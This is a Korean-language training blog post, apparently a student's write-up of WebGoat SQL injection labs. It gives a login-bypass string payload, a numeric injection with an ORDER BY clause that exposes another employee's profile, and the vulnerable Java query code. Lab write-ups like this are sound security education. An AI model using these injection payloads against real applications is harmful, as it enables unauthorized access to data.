Tiny Bunny

Rookies/애플리케이션 보안

[SK shieldus Rookies 19기] WebGoat - LAB Stage 1, 3

bento 2024. 3. 24. 22:07
[SK쉴더스 Rookies 19기] 클라우드 기반 스마트 융합보안 과정

01. Stage 1 - String SQL Injection

Neville로 로그인 시도해보자

 

  • 입력 창에 항상 참이 되는 구문 삽입

a' or 'a' = 'a

길이 제한이 8로 걸려있음

변경 후 넣어주기

 

  • proxy 사용

 

02. Stage 3 - Numeric SQL Injection

Larry 사용자로 로그인해서 Neville 사용자의 profile을 확인해보자

Neville를 검색하면 error가 뜬다 

접근 통제된 모습

 

		try
		{
			String query = "SELECT employee.* "
					+ "FROM employee,ownership WHERE employee.userid = ownership.employee_id and "
					+ "ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId;

			try
			{
				Statement answer_statement = WebSession.getConnection(s)
						.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
				ResultSet answer_results = answer_statement.executeQuery(query);

 

String query = "SELECT employee.* "

+ "FROM employee,ownership WHERE employee.userid = ownership.employee_id and "

+ "ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId;

 

userId → larry (세션 = 변조 불가능)

subjectUserId Neville → 모든 데이터를 조회한 후 Neville가 가장 처음에 위치하게 설정

→  101 or 1 = 1order by employee_id desc (사번이 가장 큼)

 

 

Larry 권한으로 Neville 조회 가능

728x90